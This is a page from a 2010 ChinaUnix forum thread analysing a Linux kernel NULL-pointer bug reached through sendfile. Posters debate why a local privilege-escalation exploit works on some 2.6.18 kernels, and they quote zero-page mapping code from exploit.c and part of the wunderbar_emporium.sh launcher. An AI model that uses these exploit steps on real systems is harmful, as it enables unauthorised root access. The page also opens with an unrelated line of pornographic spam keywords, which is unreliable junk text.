亚洲av成人无遮挡网站在线观看,少妇性bbb搡bbb爽爽爽,亚洲av日韩精品久久久久久,兔费看少妇性l交大片免费,无码少妇一区二区三区

  免費(fèi)注冊 查看新帖 |

Chinaunix

  平臺 論壇 博客 文庫
最近訪問板塊 發(fā)新帖
樓主: kouu
打印 上一主題 下一主題

剖析一個(gè)由sendfile引發(fā)的linux內(nèi)核BUG [復(fù)制鏈接]

論壇徽章:
36
IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-10 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-16 06:20:0015-16賽季CBA聯(lián)賽之廣東
日期:2016-04-16 19:59:32IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-18 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-19 06:20:00每日論壇發(fā)貼之星
日期:2016-04-19 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-25 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-06 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-08 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-13 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-28 06:20:00每日論壇發(fā)貼之星
日期:2016-05-28 06:20:00
21 [報(bào)告]
發(fā)表于 2010-01-15 17:58 |只看該作者
兄弟都有測試環(huán)境了, 為什么不試試? 還是在故意考驗(yàn)我呢, 呵呵。 我的理解是在2.6.18系統(tǒng)上你能設(shè)置PER_SVR4, 就能映射0地址。

呵呵,不好意思。

我就是測試了,沒有成功exploit。

因?yàn)橛X得理論上可以,所以問一下W.Z.T兄。

設(shè)置PER_SVR4之后,exploit.c調(diào)用的是mrprotect進(jìn)行修改內(nèi)存區(qū)的,但是失敗了:
        if ((personality(0xffffffff)) != PER_SVR4) {
                dbgprint("Not equal to PER_SVR4, \n");       
                mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
                dbgprint("first mmap, mem = %p, addr = %x\n", mem, (unsigned long)mem);
                if (mem != NULL) {
                        /* for old kernels with SELinux that don't allow RWX anonymous mappings
                           luckily they don't have NX support either ;) */
                        mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
                        dbgprint("second mmap, mem = %p\n", mem);
                        if (mem != NULL) {
                                fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n");
                                return 1;
                        }
                }
        } else {
                ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
                if (ret == -1) {
                        fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n");
                        return 1;
                }
        }

論壇徽章:
36
IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-10 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-16 06:20:0015-16賽季CBA聯(lián)賽之廣東
日期:2016-04-16 19:59:32IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-18 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-19 06:20:00每日論壇發(fā)貼之星
日期:2016-04-19 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-25 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-06 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-08 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-13 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-28 06:20:00每日論壇發(fā)貼之星
日期:2016-05-28 06:20:00
22 [報(bào)告]
發(fā)表于 2010-01-15 18:00 |只看該作者
返回的錯(cuò)誤信息是:
mprotect: Cannot allocate memory

論壇徽章:
0
23 [報(bào)告]
發(fā)表于 2010-01-16 13:25 |只看該作者
LZ分析得不錯(cuò)。我從頭到尾看完了。

GOD兄和WZT兄的討論還需要消化下。

另外,我想起了以前看的一篇學(xué)術(shù)文章,叫SECVISOR. http://www.sosp2007.org/papers/sosp079-seshadri.pdf

它的中心思想就是把內(nèi)核和用戶態(tài)嚴(yán)格分開(通過一個(gè)虛擬機(jī)SECVISOR來實(shí)現(xiàn))。在用戶切換到內(nèi)核態(tài)后,好像用戶態(tài)的內(nèi)存就改成READ-ONLY了。這樣的話,即使你映射了0地址,在跳過去的時(shí)候會(huì)發(fā)生錯(cuò)誤。導(dǎo)致無法利用NULL POINTER漏洞。

不過這個(gè)東西要下面有個(gè)虛擬機(jī)支持。應(yīng)用起來效率可能會(huì)低一些。不太好推廣。

btw:那篇文章中的第三作者是個(gè)中國人。好像是清華還是北大過去的。

論壇徽章:
0
24 [報(bào)告]
發(fā)表于 2010-01-16 13:46 |只看該作者
原帖由 Godbach 于 2010-1-15 17:58 發(fā)表

呵呵,不好意思。

我就是測試了,沒有成功exploit。

因?yàn)橛X得理論上可以,所以問一下W.Z.T兄。

設(shè)置PER_SVR4之后,exploit.c調(diào)用的是mrprotect進(jìn)行修改內(nèi)存區(qū)的,但是失敗了:


正如樓主所分析的那樣, 設(shè)置PER_SVR4之后, 是可以映射0地址的, 我的2.6.18系統(tǒng)可以修改0地址的內(nèi)存屬性, 也能exploit成功。不知兄弟的內(nèi)核版本是多少呢?

論壇徽章:
36
IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-10 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-16 06:20:0015-16賽季CBA聯(lián)賽之廣東
日期:2016-04-16 19:59:32IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-18 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-19 06:20:00每日論壇發(fā)貼之星
日期:2016-04-19 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-25 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-06 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-08 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-13 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-28 06:20:00每日論壇發(fā)貼之星
日期:2016-05-28 06:20:00
25 [報(bào)告]
發(fā)表于 2010-01-16 15:19 |只看該作者
原帖由 W.Z.T 于 2010-1-16 13:46 發(fā)表


正如樓主所分析的那樣, 設(shè)置PER_SVR4之后, 是可以映射0地址的, 我的2.6.18系統(tǒng)可以修改0地址的內(nèi)存屬性, 也能exploit成功。不知兄弟的內(nèi)核版本是多少呢?


我用的就是RHEL5.2,內(nèi)核是2.6.18的,其中SElinux被禁用掉了。但是vm.mmap_min_addr是65536, 這個(gè)時(shí)候理論上應(yīng)該是可以exploit的。

但是wunderbar_emporium.sh這個(gè)腳本中
#!/bin/sh

...
MINADDR=`cat /proc/sys/vm/mmap_min_addr 2> /dev/null`
if [ "$MINADDR" = "" -o "$MINADDR" = "0" ]; then
    cc -fno-stack-protector $OPT_FLAG -o exploit exploit.c 2> /dev/null
    if [ "$?" = "1" ]; then
       cc $OPT_FLAG -o exploit exploit.c
    fi
    cat tzameti.avi >> ./exploit
    ./exploit
elif [ ! -f '/usr/sbin/getenforce' ]; then
    cc -fno-stack-protector -fPIC $OPT_FLAG -shared -o exploit.so exploit.c
    cc $OPT_FLAG -o pwnkernel pwnkernel.c
  ./pwnkernel

else
...
fi
mv -f pwnkernel2.c pwnkernel.c

這種情形下要借助于pulseaudio程序才能工作的。

論壇徽章:
0
26 [報(bào)告]
發(fā)表于 2010-01-16 16:27 |只看該作者
原帖由 Godbach 于 2010-1-16 15:19 發(fā)表


我用的就是RHEL5.2,內(nèi)核是2.6.18的,其中SElinux被禁用掉了。但是vm.mmap_min_addr是65536, 這個(gè)時(shí)候理論上應(yīng)該是可以exploit的。

但是wunderbar_emporium.sh這個(gè)腳本中

這種情形下要借助于pulseau ...


不要用這個(gè)exploit程序, 用樓主分析的那個(gè)程序。 2.6.27以前的系統(tǒng)不需要pulseaudio那個(gè)東西。

[ 本帖最后由 W.Z.T 于 2010-1-16 16:31 編輯 ]

論壇徽章:
36
IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-10 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-16 06:20:0015-16賽季CBA聯(lián)賽之廣東
日期:2016-04-16 19:59:32IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-18 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-19 06:20:00每日論壇發(fā)貼之星
日期:2016-04-19 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-25 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-06 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-08 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-13 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-28 06:20:00每日論壇發(fā)貼之星
日期:2016-05-28 06:20:00
27 [報(bào)告]
發(fā)表于 2010-01-16 16:31 |只看該作者
原帖由 W.Z.T 于 2010-1-16 16:27 發(fā)表


不要用這個(gè)exploit程序, 用樓主分析的那個(gè)程序。 2.6.27以前的系統(tǒng)不需要pulseau那個(gè)東西。


我測試的時(shí)候使用的就是LZ分析的那個(gè)程序。因?yàn)檫@個(gè)程序是要用的pluseaudio的。

論壇徽章:
0
28 [報(bào)告]
發(fā)表于 2010-01-16 16:34 |只看該作者
原帖由 Godbach 于 2010-1-16 16:31 發(fā)表


我測試的時(shí)候使用的就是LZ分析的那個(gè)程序。因?yàn)檫@個(gè)程序是要用的pluseaudio的。


我確定你用的不是樓主分析的那個(gè)程序。 用附件這個(gè)吧~

proto_ops.rar

1.71 KB, 下載次數(shù): 21

論壇徽章:
36
IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-10 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-16 06:20:0015-16賽季CBA聯(lián)賽之廣東
日期:2016-04-16 19:59:32IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-18 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-19 06:20:00每日論壇發(fā)貼之星
日期:2016-04-19 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-25 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-06 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-08 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-13 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-28 06:20:00每日論壇發(fā)貼之星
日期:2016-05-28 06:20:00
29 [報(bào)告]
發(fā)表于 2010-01-16 16:39 |只看該作者
呵呵。你是說我分析了這個(gè)腳本,所以斷定沒有用那個(gè)程序嗎。

不過我測試的時(shí)候確實(shí)是用的是的,因?yàn)槭诸^有兩個(gè)例程,我都會(huì)測試一下的。只是現(xiàn)在測試的環(huán)境是另一個(gè)同事的,周一過來再執(zhí)行一下看看。
你測試的時(shí)候和我說的情況是一樣的嗎,mmap_min_addr不為0

論壇徽章:
0
30 [報(bào)告]
發(fā)表于 2010-01-16 17:03 |只看該作者
原帖由 Godbach 于 2010-1-16 16:39 發(fā)表
呵呵。你是說我分析了這個(gè)腳本,所以斷定沒有用那個(gè)程序嗎。

不過我測試的時(shí)候確實(shí)是用的是的,因?yàn)槭诸^有兩個(gè)例程,我都會(huì)測試一下的。只是現(xiàn)在測試的環(huán)境是另一個(gè)同事的,周一過來再執(zhí)行一下看看。
你測試 ...


我自己build的一個(gè)2.6.18系統(tǒng), 測試是可以的。 mmap_min_addr在禁用selinux后就沒用了吧。 我沒在相關(guān)代碼中看到有禁止映射0地址的操作。

[ 本帖最后由 W.Z.T 于 2010-1-16 17:11 編輯 ]
您需要登錄后才可以回帖 登錄 | 注冊

本版積分規(guī)則 發(fā)表回復(fù)

  

北京盛拓優(yōu)訊信息技術(shù)有限公司. 版權(quán)所有 京ICP備16024965號-6 北京市公安局海淀分局網(wǎng)監(jiān)中心備案編號:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年舉報(bào)專區(qū)
中國互聯(lián)網(wǎng)協(xié)會(huì)會(huì)員  聯(lián)系我們:huangweiwei@itpub.net
感謝所有關(guān)心和支持過ChinaUnix的朋友們 轉(zhuǎn)載本站內(nèi)容請注明原作者名及出處

清除 Cookies - ChinaUnix - Archiver - WAP - TOP